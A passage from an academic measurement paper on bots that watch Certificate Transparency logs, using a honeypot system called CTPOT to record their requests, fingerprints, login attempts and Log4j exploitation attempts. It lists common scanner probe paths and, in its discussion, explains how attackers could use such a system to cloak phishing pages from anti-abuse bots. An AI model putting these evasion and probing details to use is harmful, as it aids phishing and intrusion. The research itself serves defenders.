malicious by the operators of anti-phishing tools.

Additionally, this node also hosts a Bind9 [6] authoritative
nameserver responsible for all domains used in our study. This
nameserver logs basic information about all queries received,
as well as the eDNS subnet of the querying client (if included
by the client’s resolver), allowing us to determine the subnet
of the querying stub resolver.

As previously mentioned, each measurement node hosts
SSH, Telnet, and FTP honeypots. The log files produced
by these honeypots are periodically collected by the data-
aggregation node and stored for future analysis. These logs,
along with the aforementioned HTTP and DNS data, are fed
into the analysis module for processing.

3.2 Cheap vs. Expensive TLDs
It is entirely possible that bots utilizing CT to discover
scanning targets are sensitive to the content of domain names.
This includes both the primary domain, subdomains, as well as
the chosen TLDs. For instance, studies have shown that a large
fraction of phishing sites are hosted on cheap TLDs where
attackers can keep registering new low-cost domains whenever
their existing ones are blocked [39, 60]. As such, operators
of anti-phishing tools may prioritize the scanning of low-cost
domain names that appear in CT logs, over established (and
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more expensive) domains. Contrastingly, malicious CT bots
searching for victims may focus their scanning resources on do-
mains registered on well-established TLDs, using registration
price as a proxy variable for the value of the targeted host.

To determine whether different TLDs need to be part of
our certificate-creation strategy, we conducted a small pilot
experiment with CTPOT using two measurement nodes.
Each node had the same primary domain with only the TLD
changing: one node operated a low-cost .xyz domain whereas
the other host operated a traditional .com domain name.
Additionally, we fixed the random seed used to construct
the subdomains for all certificate registrations such that both
nodes created certificates for the same domains, at the same
times, with only the TLD changing.

We ran this pilot experiment for one week, and monitored
the requests we received from bots. In total, we received
1,508 requests towards the .com domain from 421 unique
IP addresses. Conversely, our .xyz domain received 3,347
requests from 633 unique IP addresses. Additionally, over
half of the IP addresses that requested content from the .com
domain, also requested content from the .xyz domain. As a
result, we decided to use .xyz TLDs for our main experiments
allowing us to both attract more clients as well as lower
the operating costs of our study. We discuss the potential
limitations of utilizing a single TLD in Section 6.2.

3.3 Deployment and Data Collection
Using the described system setup, we created a total of
12 CTPOT measurement nodes. Six of these nodes were
located in a popular public cloud, and the remaining six in our
institution’s datacenter.

To isolate all measurement nodes, each node is assigned a
dedicated primary domain to which subdomains for that node
are applied to. We designed a separate generation strategy for
these primary domains to ensure that they do not interfere with
the decision of a CT bot to interact with that subdomain. This
strategy involves concatenating a randomly chosen string from
each of three groups: names of trees, names of flowers, and
names of birds–with all potential trademark conflicts removed.

Each measurement node creates a new certificate every four
hours, on the top of the hour. We stagger this process on each
measurement node such that there are at least three certificates
being created every hour. This results in a total of 72 certificate
creations each day. However, this number varies depending
upon the behavior of the Let’s Encrypt API (e.g., certificate
creation failures would result in fewer created in a particular
hour).

4 CT Bot Analysis

In this section, we report the findings of our deployment of
CTPOT for ten weeks, from November 3, 2021 to January 12,
2022. In total, we created 4,657 TLS certificates, each for a
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Figure 2: (Top) Total daily requests to our measurement infrastruc-
ture over both HTTP and HTTPS. (Bottom) Total new unique IP
addresses encountered each day of our measurement period both
respective to the current day (dotted line), and throughout the entire
data collection period (solid line).

unique domain. For the rest of this section, unless otherwise
noted, we focus on the traffic that CTPOT received targeting
one or more of our advertised FQDNs. This is to ensure
that we do not attribute the general scanning activity (that
publicly-reachable hosts receive from Internet-wide scanners)
as related to the Certificate Transparency mechanism.

Over the course of our data collection period, CTPOT
recorded 1.5 million HTTP requests from 31,898 unique
IP addresses towards the domains advertised on CT. This
corresponds to an average of 129,723 requests from 2,658
unique IP addresses, per measurement node. As the domains
advertised on CT are random in nature and have not existed
prior to the creation of each certificate, we can consider all
such requests to have originated from web bots. Furthermore,
as these domains were only ever advertised on CT, we can
conclude that the bots that made these requests did so after
observing one of our domains on a public CT log. To the best
of our knowledge, this is the first comprehensive dataset on
CT bots, detailing their identities and distinct behaviors. To
assist the community in understanding the CT bot ecosystem,
and defending against malicious actors therein, we are making
our dataset publicly available to researchers (Section 8).

4.1 CT Bot Traffic

Figure 2 (Top) shows the total daily HTTP and HTTPS
requests from visitors to our CTPOT deployment. We find that
the number of requests remains fairly stable throughout our
entire data-collection period, averaging around 10K-15K total
daily requests on both HTTP and HTTPS. In early November
2021, CTPOT encountered a series of daily request spikes of
over 100K. Upon close inspection of requests on these days,
we find this to be the result of the actions of a single CT bot.
More details regarding this bot can be found in Section 5.
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Figure 3: Unique IP addresses targeting each of the three domain
types in our study, along with the IP addresses of each measurement
node. We note that each circle in this figure is not to scale, but rather
serves to demonstrate the relationships between each group of CT
bots in our dataset.

The overall scale of the CT bot ecosystem is clearly
demonstrated in Figure 2 (Bottom). In this figure, the dotted
line represents the total number of unique IP addresses en-
countered on each day, while the solid line represents only the
unique IP addresses that first interacted with our infrastructure
on that particular day (i.e., on December 1, our infrastructure
saw roughly 500 new IP addresses that it had not seen in any
of the days prior). We observe a steady stream of new visitors
interacting with CTPOT each day, with approximately 300-500
previously unseen IP addresses recorded daily. Moreover, in
the final days of our data collection period, we even see large
spikes in this number, emphasizing the constant expansion
of the CT bot IP address pool.

CT Bot Populations
Figure 3 shows the number of unique IP addresses that targeted
each group of domains we advertised on CT, along with bots
that targeted the IP address of each measurement node. We
note that our measurement nodes also received traffic from
an additional 4,855 IP addresses that targeted only the primary
domains advertised on CT. However, as we cannot be certain
of the subdomain, and thus source of the visitor, we discard
these requests from our dataset.

Overall, we find that CT bots occupy a distinct subset of the
overall web bot population, with less than 2% overlap between
CT bots and IP-based bots (i.e., those that sent requests
towards the IP address of the particular measurement node,
rather than the domain listed on CT). Currently, IP-based bots
do not utilize the additional information provided by CT to
target their probes, opting instead to scan IP address subnets.
Additionally, we find the overall size of the CT bot population
to be over twice that of IP-based bots in our dataset.

Among CT bots, we find that the majority of IP addresses tar-
geted only Impersonating domains, completely ignoring the
two additional groups. This shows how there exists a large pop-
ulation of bots that are actively filtering CT logs for domains

Figure 4: Number of days after certificate creations our measurement
nodes received HTTP(S) requests from CT bots.

with specific content. In this case, these bots may be searching
for newly-created phishing websites that are targeting popular
trademarks. We contrast this with the IP addresses that visited
Sensitive and Baseline domains, which exhibit a much
larger overlap with each other as well as with Impersonating
domains. This indicates that these bots are not filtering based
on the content of domain names, opting rather to visit all
— or a large percentage of all — domains listed on CT logs.
We reason that bots with this behavior fall into one of two
categories: academic or industry scanners indexing the web, or
malicious bots looking for attack targets. Distinctions between
these two groups can be made by observing their varying
behaviors, which we do later in this section.

Interestingly, we also find a number of bots that only visited
Baseline domains. That is, domains that simply contain
non-sensitive dictionary words. We attribute these isolated
requests to the non-deterministic nature of CT log streams
where it is not guaranteed any particular observer of a log will
encounter all certificate registrations. This non-determinism
can be attributed to clients connecting and disconnecting to
any given CT log, as well as not connecting to all possible logs
operated by different CAs [56].

CT Bot Request Properties
Figure 4 shows the number of days after the creation of all
certificates that our measurement nodes received all requests.
On average, the first requests towards our domains occurred
5.9 minutes after a certificate was registered for that domain,
consistent across all three domain groups. In some cases, we
observed the first request arriving as early as 12 seconds after
certificate creation.

Additionally, all three groups continued to see periodic re-
quests long after certificate creation, indicating that a subset of
CT bots are interested in long-term changes to domains that ap-
pear on CT logs. However, we find this is much more common
in bots that target Sensitive and Baseline domains, rather
than bots that target Impersonating domains. As bots in the
latter group may be part of the infrastructures of anti-phishing
entities, they are more likely to send one or a small number
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Figure 5: Distributions of total requests from each unique IP address
by subdomain type.

of requests shortly after encountering a domain to analyze for
phishing traits. Their decision to not revisit that same domain at
a later time may be part of a strategy for scaling their infrastruc-
ture to the large number of targets appearing in their CT logs.

Figure 5 shows the distribution of the number of requests
sent by each visitor for all three kinds of subdomains
we register. We find that almost 80% of all visitors to
Impersonating domains send “single-shot” requests, or a
single request without returning, while that same behavior
is only observed from approximately 30% of visitors to
Baseline and Sensitive domains. Overall, we discover that
the vast majority of visitors send fewer than 10 requests to our
honeypots, with the exception of a small number of visitors
that send thousands of requests. For these visitors, we find that
they typically send the same number of requests to each of our
newly registered domains, indicating the use of a pre-curated
scan-list – such as one associated with a scanning tool.

This observed behavior demonstrates the differences
between bots targeting domains within these two groups, with
bots operated by anti-phishing organizations monitoring for
newly-created phishing websites making a small number of
requests shortly after certificate creation in order to detect
malicious content. Meanwhile, bots targeting domains that
indicate potentially vulnerable systems initiate more requests
for a much longer period of time, probing for vulnerabilities.

Bot Distributions
Figure 6 shows the top countries from which CT bots
originated from in our dataset. Currently, there is an order
of magnitude more CT bots in the United States than there
are in any other country. Interestingly, we find that bots that
visited Impersonating domains are found in each of the top
countries, while there exists a number of countries that do not
host any bots that visited Sensitive or Baseline domains
(such as Germany and the UK). While the difference in total
unique IP addresses from each domain explains these gaps,
it also shows the clustering of these bots in a fraction of all
represented countries.

To further understand the origins of CT bots, we utilized the
IpInfo [23] API to determine the Autonomous System (AS)
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Figure 6: Top geographic locations of IP addresses that requested
content from our measurement infrastructure.
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Figure 7: ASN types of IP addresses that requested content from our
measurement infrastructure.

type of each bot IP. We present our findings in Figure 7. We find
that the proportion of each IP address type is consistent across
all three domain categories. That is, the majority of CT bots
originate from hosting providers. Interestingly, the second-
largest group of CT bots originate from ISP address ranges.
This is an unexpected result, and indicates that many CT bots
are either running on infected home devices (i.e., IoT devices)
or are using ISP-based proxy services to evade detection [62].
IP Blocklist Presence
To determine the reputation of CT bot IP addresses, we utilized
a subset of the IP blocklists provided by Firehol [17] that corre-
spond to bot behavior. In total, we searched for IP addresses on
43 blocklists, a full breakdown of which are listed in Table 6
of the Appendix. Of the 31,898 unique IP addresses that sent
requests to CTPOT, 4.5% appeared on at least one IP blocklist
during our data collection period. This corresponds to 5.1%
Impersonating, 6.6% Sensitive, and 7.7% Baseline IPs.

Figure 8 shows the overlap of CT bot IP addresses that
appear on at least one IP blocklist, based on the domain types
they sent requests to. Compared to Figure 3, we find a much
larger overlap among maliciously labeled IP addresses. This
implies that attackers utilizing CT for target discovery cast
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Figure 8: Distribution of malicious bot IP addresses in our dataset
by domain-type targeted. We consider an IP address to be malicious
if it appears on at least one IP blocklist.

a wide net by scanning domains of various kinds, rather than
targeting a particular category of domain. However, similarly
to the overall distribution of CT bot IP addresses, those that
only visited Impersonating domains are the single-largest
group of IP addresses in our dataset.

4.2 CT Bot Behavior

As we have shown, there exists distinct populations of CT
bots that interact with only a specific subset of domains. The
filtering of domain content prior to interaction implies that
each group has explicit goals in their use of CT. We now use
the varying behaviors of bots in these groups to determine their
intentions, including examining the extent to which attackers
utilize CT to discover new targets and where they lie within
these overall bot populations.

4.2.1 Request Targets

As the only information advertised about our measurement
nodes is each domain through CT, studying requested file
paths is a useful method to determine the intentions of a
particular visitor. Table 2 shows the top five paths requested
from each of the domain groups by the percentage of unique IP
addresses (within each group) that requested that path at least
once. Unsurprisingly, over 96% of IPs in each domain group
request the website’s root path, with this request occurring as
a visitor’s first query 96.6% of the time.

Beyond the domain root, we observed 24.1% of unique IP
addresses queried for at least one additional file. The most com-
mon of these is for the file favicon.ico. This request is common
if the client is using a real web browser, as this file is automat-
ically requested by major web browsers in order to render a
tab bar image [69]. Using these requests, we can begin to infer
the number of CT bots that utilize a real browser to perform
network requests. Doing so, we find only 11.9% of CT bots
targeting Impersonating domains requested the site’s favi-
con file. This is less than half as frequent as the bots targeting

Table 2: Top paths requested by visitors to each domain type, by
percentage of visitors that requested each path.

Impersonating Sensitive Baseline
Path Ratio Path Ratio Path Ratio
/ 97.27% / 96.86% / 97.79%
favicon.ico 11.96% favicon.ico 25.08% favicon.ico 28.55%
robots.txt 1.75% robots.txt 3.60% robots.txt 4.92%
my-account/ 1.01% login.php 2.91% login.php 0.84%
US/US_aaiphh 1.00% wp-login.php 0.85% wp-login.php 0.69%
walmart-mo/ 0.97% .git/HEAD 0.33% .git/HEAD 0.47%

Sensitive andBaseline domains. We note however, that it is
trivial for bots to initiate a request for favicon.ico in order to ap-
pear as though they are utilizing a real web browser. Therefore,
we treat requests for this file as an upper bound on real browsers
in our dataset, and rely on further analysis later in this section
to determine the extent in which bots misidentify themselves.

Along with the favicon.ico file, all three domain groups
receive requests for the file robots.txt. This file is commonly
used by websites to control the requests made by bots. It
contains access rules specified by the website owner to be
followed by all web bots visiting the site, including which paths
are permitted to be accessed, and which are not–including
revoking all access to bots [22]. Ideally, this file is supposed
to be read and followed by all web bots, however this is not
always the case [72]. Over the course of our data collection
period, we find that only a small fraction of bots send requests
for the robots.txt file. Furthermore, fewer visitors request this
file in the Impersonating and Sensitive domain groups
than the Baseline group, with visitors in the Impersonating
group requesting it the least often.

Past the top three most common, paths in each group begin
to diverge. Here, we see requests towards Impersonating
domains focused on common website endpoints such as
my-account/. Meanwhile, requests towards the remaining two
groups are towards endpoints such as login.php and .git/HEAD,
which are commonplace in vulnerability scans [58].

POST Requests
In addition to the paths requested by each CT bot, we can
determine malicious intent by observing POST requests to
the domains we advertise. We assert that sending unsolicited
POST requests to newly-created web endpoints is an overtly
malicious action, regardless of the path to which the request
was destined. Upon searching our dataset, we find that only
4,555 of all requests towards our measurement nodes were
POST requests. This corresponds to 2,818 Impersonating,
901 Sensitive, and 836 Baseline requests. While this is
a small fraction of the overall number of requests directed
towards our measurement nodes, we reason that this could
be a result of our endpoints responding to all requests with
the same simple HTML message. As this content does not
indicate the presence of a form to submit data to, bots simply
choose to move on, instead of blindly sending POST requests.
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Table 3: Types of HTTP User-Agents encountered by measurement
nodes during data collection period as a fraction of unique IP
addresses in each category.

User-Agent Type Impersonating Sensitive Baseline
Browser 84.71% 78.38% 76.11%
Academic/Industry 5.64% 13.44% 15.10%
Library 3.90% 1.79% 4.31%
Scanning Tool 3.01% 3.50% 3.22%
Other 2.73% 2.88% 1.23%
Payload 0.01% 0.01% 0.03%

4.3 CT Bot Self-Identification

The HTTP User-Agent is the web’s primary method for self-
identification of clients. It is standard practice for web bots to
use this string to identify themselves to each web server, along
with information about their purpose. In total, we recorded
1,746 unique User-Agents from CT bots during our data
collection period. To better understand the behaviors of CT
bots, we manually inspected each User-Agent we received and
produced a label to each depicting the type of client it implies.

Table 3 shows the types of User-Agents our measurement
nodes encountered from bots requesting subdomains from
each of the three groups. We observed User-Agents from the
following general groups: web browsers (e.g., Google Chrome
and Firefox), network request libraries of programming
languages (e.g., Python Requests library, and Go-http-client),
academic or industry scanning tools (e.g., Googlebot and
LinkedInBot), web scraping tools (e.g., wget and curl),
malicious payloads (e.g., Log4j and code injection), and other
strings we could not classify into one of the defined groups
such as custom strings and messages.

We find that a majority of bots present a User-Agent of a
browser. Furthermore, bots that interact with Impersonating
domains are more likely to use the User-Agent of a browser
than bots that interact withSensitive andBaseline domains.
We hypothesize that this behavior is because of the entities com-
monly operating the websites in each domain category. As mali-
cious actors are more likely to create websites with impersonat-
ing domain names, anti-phishing organizations do not disclose
their identities in order to prevent cloaking by attackers [59,73].
Meanwhile, Sensitive and Baseline domains are likely op-
erated by legitimate, benign entities who are unlikely to cloak
any content on their sites, leading to approximately 10% more
Academic/Industry User-Agents presented to those domains.

TLS Fingerprinting
Based on the HTTP User-Agents recorded by our measurement
nodes, the majority of CT bots claim to use real browsers to
perform network requests. However, it is known that web bots
are likely to spoof their User-Agents to prevent detection and
subsequent blocking by the websites they visit. To investigate
the rate in which CT bots spoof their User-Agents, we utilize
the JA3 TLS fingerprints we recorded from each bot that sent

Table 4: Types of TLS stacks encountered by measurement nodes
during data collection period as a fraction of unique IP addresses
in each category.

Fingerprint Type Impersonating Sensitive Baseline
Library 40.94% 17.58% 12.07%
Academic/Industry 20.37% 30.63% 33.45%
Unknown 14.46% 20.46% 25.70%
Scanning Tool 12.52% 28.22% 26.59%
Browser 11.59% 2.94% 1.98%
Empty 0.12% 0.17% 0.21%

HTTPS requests to our measurement nodes, as described in
Section 3.

In total, we recorded 113 unique JA3 TLS fingerprints
from the clients interacting with our measurement nodes.
Of these clients, 19.5% of all unique IP addresses presented
more User-Agents than JA3 TLS fingerprints, with that
corresponding to 19.4% of Impersonating, 12.3% of
Sensitive, and 11.7% of Baseline visitors. This implies
these bots changed their User-Agents between requests, while
the underlying client remained the same. To ensure that
IP-address churn was not the cause of this discrepancy, we
calculated the length of each request session from bots towards
the domains we leaked on CT, finding that 92% of all sessions
last less than 10 minutes. This is far shorter than the average
time IP address leases are renewed by major ISPs [63].

To identify the underlying clients making these requests,
we query for all fingerprints in the ja3er.com [24] fingerprint
database which maps JA3 hash values to observed HTTP
User-Agents with those fingerprints. For each fingerprint we
manually create a label based on the User-Agents returned
from the database. However, for many JA3 fingerprint values,
this database contains multiple HTTP User-Agents. In
these cases, we produce a label based on the “lowest-level”
User-Agent available. That is, if a particular JA3 fingerprint
maps to the User-Agents of a browser and a network request
library, we label that fingerprint as belonging to a network
request library. We reason that a bot utilizing a network request
library (e.g., Python Requests library) would benefit from
reporting as a web browser as part of its detection-evasion
strategy. However, a bot utilizing a web browser to send
requests is unlikely to identify as a network-request library
as there is nothing to be gained by this misidentification.

Using this methodology, we labeled each JA3 TLS
fingerprint we received and present our results in Table 4. We
observe a vastly different distribution of clients compared
to what was reported by each CT bot. As we expect, the
percentage of bots that utilize network request libraries to
send requests is much greater in reality. Moreover, the number
of bots that used a real web browser to send requests is only
2–11% based on their TLS fingerprint, compared to the
75–85% based on the reported User-Agents. This also shows
how bots targeting Impersonating domains appear to take
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Figure 9: Number of unique IP addresses that interacted with a
network service honeypot in addition to sending a web request to one
of the three domain groups.

more action to prevent fingerprinting than bots targeting
Sensitive and Baseline domains, as approximately 11%
more of these bots use a real browser.

Comparing the TLS fingerprints of each bot with the file
paths requested in Table 2, we see that requests for favicon.ico
are in line with the percentage of bots with a web browser
TLS fingerprint. However, this is not the case for bots that
requested Sensitive and Baseline domains, where over
25% of the bots that queried for favicon.ico did not have a TLS
fingerprint that matched a known web browser. This indicates
that bots in these categories could be using scanning tools or
scanning lists that make requests for this file as a method to
bypass bot detection.

These findings demonstrate that CT bots are likely to spoof
their User-Agents to prevent detection. TLS fingerprinting
remains a powerful tool for uncovering the true identities of
these bots. However, we find that the ja3er.com fingerprint
database is incomplete as 15–25% of our collected fingerprints
were unknown. Increased usage of TLS fingerprinting and
contributions to databases such as this will help improve the
overall visibility into the clients utilized by bots. To assist in
this, we submitted all User-Agents we received from the bots
in our dataset to this database.

4.4 Network Service Interactions

As mentioned in Section 3, in addition to hosting a reverse
proxy web server, each measurement node also hosted three
low-interaction honeypot processes: SSH, FTP, and Telnet.
These three services log all network interactions with visitors,
but do not permit any authentication. This allows us to infer
malicious intent among CT bots that not only request web
content after observing a domain on a CT log, but also try to
probe additional ports on the measurement nodes and even
attempt to gain access to these additional services. For the
purposes of this work, we consider any kind of interaction
with a honeypot as malicious.
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Figure 10: Unique IP addresses encountered sharing the same
subset of paths requested. Each marker represents one unique set
of paths, with the size of each marker representing the number of
TLS fingerprints encountered from the IP addresses which requested
those paths. Red markers indicate that the cluster contains malicious
requests. The bounding box with a corner at (x, y) = (102, 101)
contains 68.4% of all malicious bot campaigns in our dataset.

We correlate web request logs with honeypot logs using
the client IP address that sent requests to each. Specifically,
we associate a honeypot interaction with the closest web
request temporally (i.e., an SSH interaction is associated to an
Impersonating web request if that web request occurred the
closest to that interaction compared to all other web requests
from that host). In total, our measurement nodes received
22,839 network requests directed towards the ports of the
three honeypot processes from 746 unique IP addresses. Of
these, 675 (90.5%) went beyond simple network probes and
attempted to authenticate with the particular service. Figure 9
shows the number of honeypot interactions that occurred from
CT bots that sent web requests to domains of each category.
We observe that CT bots that target Sensitive domains are
more likely to attempt to interact with additional services on
the host, compared to CT bots targeting domains of the other
two groups. This shows that CT bots targeting such domains
have malicious intentions in doing so, as these domains
indicate the creation of a potentially vulnerable online service.
Attempting to authenticate to these servers via Telnet, SSH,
and FTP indicates the desire to achieve remote-command
execution capabilities and acquire sensitive information.

4.5 CT Bot Campaign Analysis
It is common practice for bots to be used in scanning
“campaigns”, or scanning sessions where a pre-determined set
of probes are sent to each encountered web host. Therefore, if
the same bot software is deployed on many different machines,
the file paths requested by each unique IP address would be the
same. We use this expected behavior to identify connections
between bots in our dataset. Specifically, we analyze the
intersection of the total file paths requested by each unique IP
address with all other IP addresses in our dataset. Additionally,
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to further attribute the requests of multiple IP addresses to the
same bot software, we analyze the JA3 TLS fingerprints of
IP addresses that requested each set of file paths.

In total, bots in our dataset cluster into 539 unique sets of
requested file paths. For the purposes of this analysis, we call
each of these sets a distinct “campaign”. Figure 10 shows the
distribution of these campaigns, with the size of each marker
indicating the number of TLS fingerprints encountered by bots
that requested those specific paths. By analyzing the place-
ments and sizes of each marker in this figure, we can create
connections between seemingly isolated IP addresses, and
identify the most active clusters within the CT bot population.

We observe three general trends in the characteristics of CT
bot campaigns. The most populous cluster in our dataset (A)
is comprised of bots that only requested the root file path. This
cluster contains over 24K IP addresses, with 88 fingerprints
shared between them. As the number of TLS fingerprints is
large, with a small file path set, little can be deduced about the
connections between bots in clusters such as this.

We can be more confident in the association between dis-
tinct IP addresses if either the number of paths requested is
large enough, or if the number of IP addresses in that cluster
is large with only one or a small number of TLS fingerprints
shared among them. For instance, we observe one campaign
(B) where 151 unique IP addresses requested the same 15 file
paths, all while possessing the same TLS fingerprint. Similarly,
we see a group of campaigns (C) that have 100–200 distinct file
paths requested, with significant overlap in the specific paths
requested between them. In cases such as these, we can deduce
connections between distinct IP addresses that appear to be uti-
lizing the same or similar bot software and target request lists.

Malicious Request Fingerprinting
We have discovered that bots in our dataset originating from
unique IP addresses can be associated to the same campaign
because of the requests they make. These campaigns vary
in the number of files requested, and the number of bots that
participate. We now seek to determine the effect of domain
content on the volume of malicious activity directed towards
hosts online, and the overall maliciousness of the campaigns
identified in our dataset. To do this, we cross-reference all
requested file paths in our dataset with the malicious bot traffic
dataset curated by Li et al. [58]. This dataset contains labels
for over 14K bot web requests performing common malicious
actions (e.g., exploit strings and data exfiltration).

Figure 11 shows the malicious requests directed towards
each of our three domain categories, by the number of unique
IP addresses that executed them. During our data collection
period, we encountered malicious requests in the form of
data exfiltration, fingerprinting, and vulnerability exploitation,
originating from 272 unique IP addresses. We note that the
bot traffic dataset from Li et al. contains labels for other
kinds of malicious requests (i.e., backdoor creation), but the
malicious activity observed from CT bots was limited to these
three categories. Of the three domain categories measured,
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Figure 11: Unique IP addresses in each domain group that requested
a file path indicating one of the recognized malicious actions.

Sensitive domains encountered the greatest number of
bots that executed at least one malicious request, with data
exfiltration being the most popular malicious action performed.
As these domains indicate the presence of a potentially
vulnerable web application, malicious bots may assume there
could be sensitive information that is publicly available.

In addition to analyzing malicious activity on an IP-level,
we also use this dataset to determine the overall maliciousness
of the CT bot campaigns we identified. Of the 539 unique sets
of requested file paths, we find that 105 contain at least one
malicious request, depicted as the red markers in Figure 10.
The majority of malicious campaigns have fewer than 10
requests and are shared between fewer than 100 IP addresses,
with 68.4% falling within the bounding box with a corner at
(x,y)=(102,101). This finding demonstrates the stark contrast
in the malicious and benign uses of CT, where benign bots
participate in large-scale scanning campaigns across many
unique IP addresses, and malicious bots attempt to decrease
their footprint by limiting the scope of their campaigns.

In conjunction with our findings in Section 4.1, the clear
presence of malicious actors in the CT bot ecosystem
emphasizes the necessity of website administrators to ensure
the process of setting up a new web service concludes with
certificate creation, after all security mechanisms are in place
and tested. Due to CT logs, the seemingly innocuous action
of creating a TLS certificate now publicly announces the
existence of a new website, leading to the immediate attention
of web bots, some with malicious intentions.

5 Case Studies

Most Active Bot
Of the 31,898 total unique IP addresses that visited our
measurement nodes throughout our data collection period,
only three exceeded 100K total requests. The most active of
these (IP address: 3.85.226.XXX) sent over 327K requests, all
targeting Impersonating domains that contained the strings
“Coinbase” or “Alipay”. Note that there has been an increasing
number of phishing attacks against online cryptocurrency
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exchanges [42, 55, 64] which could motivate new generations
of CT bots searching for impersonating websites containing
these popular trademarks. These requests only occurred
between November 3rd, 2021 and November 22nd, 2021. On
average, this bot sent approximately 30K requests per day, and
over 36K requests per domain.

We observe two large spikes in incoming traffic to our
measurement nodes. The first of these occurred on November
4th and 5th, and the second from November 8th through
10th. These two spikes can be directly attributed to this one
particular bot as 83.2% of all requests on these dates originated
from this IP address.

Regardless of the number of requests sent to each domain,
they were all identical: GET requests over HTTPS to the
root path of the domain. Moreover, requests to each domain
occurred shortly after the certificate was registered and lasted
for a short period of time, ranging from a few hours to days.
Since this client focused on impersonating domains and did
not appear on any blocklist during our data collection period,
we hypothesize that this behavior is due to a poorly configured
anti-phishing bot that was taken down upon realization of the
request volume produced.
Log4J Exploitation Attempts
In December 2021, security researchers from Alibaba discov-
ered a vulnerability in the Apache Log4J logging library. This
vulnerability allowed attackers to remotely execute arbitrary
code on the victim’s machine using nothing more than loggable
web events [28]. Attackers simply need to include JNDI or
LDAP command strings in common web request fields such as
requested paths and HTTP headers. If these fields are logged
with an un-patched version of Apache Log4j, the included pay-
loads will be executed on the victim’s machine. Upon discovery
of this vulnerability, websites across the Internet reported
receiving thousands of exploitation attempts, regardless of the
site’s actual usage of Apache Log4j [27]. This implies early ex-
ploitation attempts of this novel vulnerability were conducted
with Internet-wide scanning, agnostic to each site’s content.

Since this vulnerability was released and mass-weaponized
during our data-collection period, we received exploitation
attempts on our measurement nodes. We analyzed our
collected data to understand the use of CT to gather targets for
this attack. In total, we received 2,188 total requests containing
a Log4J payload in the HTTP headers and queried filepaths,
originating from 183 unique IP addresses. These requests
were directed towards both the specific domains we advertised
on CT as well as the IP addresses of our measurement
nodes directly. Our measurement nodes received 686 HTTP
requests containing Log4J payloads towards the domains we
advertised on CT, from 3 unique IP addresses. Conversely,
our measurement nodes received an additional 1,502 Log4J
requests towards their IP addresses (68.6% of all Log4J
requests), from 181 unique IP addresses. This includes one IP
address that sent Log4J payloads to the domains we advertised
as well as the IP addresses of our measurement nodes.

Immediately, we observe that targeting specific domains
advertised on CT is a much less popular strategy among
attackers compared to Internet-wide scanning. However,
upon analyzing the timestamps of each request, we see
that requests towards the IP addresses of our measurement
nodes started to occur on December 10, the date in which
details regarding the Log4j vulnerability were made public.
Meanwhile, such requests towards advertised domains did not
begin until December 12, indicating a shift in strategy after
initial Internet-wide scans ran their course.

Looking closer at the requests sent to our domains advertised
on CT, we see that domains of the three categories received
roughly the same number of requests, with Impersonating,
Sensitive, and Baseline domains receiving 237, 221, and
228 requests, respectively. Of the three unique IP addresses
that sent these requests, we found that two of the three belong
to anti-abuse entities, with the remaining IP belonging to a
machine in Microsoft’s AS. Exploit payloads in these requests
reside in 28 different HTTP headers along with the requested
path. Additionally, all payloads appear to simply reach out to a
unique subdomain of the primary domain log4jdns.x00.it over
DNS, suggesting that these are simply probes to determine
if a site is vulnerable. On the other hand, analysis of payloads
sent to the IP address of each measurement node reveals that
the majority of requests attempt to download code from an
unknown server, with 20.9% of such requests being base-64
encoded shell scripts.

Our findings demonstrate that weaponization of Log4j
exploits is currently limited to Internet-wide scans, rather than
targeted attacks on domains publicized on CT. Together with
our earlier findings regarding the small overlap between CT
bots and Internet-scanning bots (Section 4.1), this suggests
that the parties operating CT bots are different from those
behind Internet-wide scanners with the former acting more
benign than the latter.

6 Discussion and Future Work

6.1 Key Takeaways

• Malicious CT Bots: Our results show that when one creates
a website, they must ensure that all security best practices
are applied prior to creating TLS certificates. Once a domain
appears on CT logs, admins should expect to receive numer-
ous requests to their sites within minutes of certificate cre-
ation, from potentially malicious web bots. This is especially
true for Sensitive domains that indicate the site could be
a vulnerable web application, which are likely to receive
tens of probes ranging from fingerprinting attempts to un-
solicited POST requests. In total, we observe 105 malicious
web-request campaigns targeting our measurement nodes.
Furthermore, we find hundreds of unique IP addresses that
extend their probes beyond web servers, attempting to au-
thenticate with exposed network services such as SSH.
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• Bot Ecosystem Diversity: Because of the rapid growth of
the web, the population of bots interacting with websites
is only becoming larger and more diverse. In this paper, we
studied a previously unexplored subset of this ecosystem,
demonstrating that CT bots are indeed distinct in source
and behavior from traditional IP-based bots. Moreover,
we showed that this population of CT bots can be further
sub-divided into groups with distinct behaviors.

• CT Bot Fingerprinting: CTPOT is a highly versatile
system, allowing defenders to find both the types of targets
that bots are interested in (so they can be better defended),
as well as malicious bots themselves. We have shown that
using bot fingerprinting techniques, we can make connec-
tions between otherwise isolated bot requests. In total,
we discovered 539 campaigns in our dataset, with many
spanning across multiple unique IP addresses. By collecting
IP addresses and fingerprints of malicious bots attracted to
the CTPOT infrastructure, defenders can identify pools of IP
addresses utilized by attackers and curate extensive block-
lists to better protect newly-created websites from malicious
requests. Continual identification of malicious bots effec-
tively “drains” the IP address pools utilized by attackers,
reducing the effectiveness of rapid IP address changes.

• Malicious Use of CTPOT: Malicious actors seeking to
prevent detection and subsequent removal of their content
could use a system such as CTPOT, along with similar
fingerprinting techniques, to create real-time blocklists of
bots operated by anti-abuse organizations. These lists could
be fed directly into attacker infrastructures to ensure only
real victims observe malicious content, such as phishing
webpages and malware downloads. Operators of anti-abuse
bots should be aware of this possibility and design probing
strategies that reduce the chance of trivial evasion by attack-
ers. For instance, utilizing real browsers to initiate requests
and reducing the number of hosts used to conduct scans on
a particular website would raise the bar for attacker evasion.

6.2 Limitations
Our analysis should be considered alongside certain limita-
tions. As CTPOT was designed to study a large and diverse
population of bots, the content we chose to serve to visitors
is generic and simple, not conforming to any particular
content-group. We therefore expect that some bots who
initiated requests towards the domains we advertised on CT
chose not to perform normal probing scans because of the
content received from the web server. Rather, if we for instance
hosted a full WordPress site on all Sensitive domains,
we would likely receive more malicious requests such as
fingerprinting or credential brute-forcing attempts.

Additionally, as this is a prototype study to introduce
the community to this previously unexplored subset of web
bots, our domain-generation strategy revolved around a

limited set of categories and related strings. As mentioned
in Section 3.1.1, we chose strings related to each of the three
studied categories based on their popularity. However, we
found that this can sometimes not be sufficient because of the
rapid evolution of web. For instance, roughly halfway through
our data collection period, the Log4J vulnerability targeting
software written in Java was discovered. However, we did not
have any subdomain strings containing either Java or Log4J in
our Sensitive category. To ensure the integrity of our curated
dataset, we did not modify the parameters of our setup during
the entirety of our data collection period. However, future uses
of CTPOT would be best-served to maintain a dynamic list
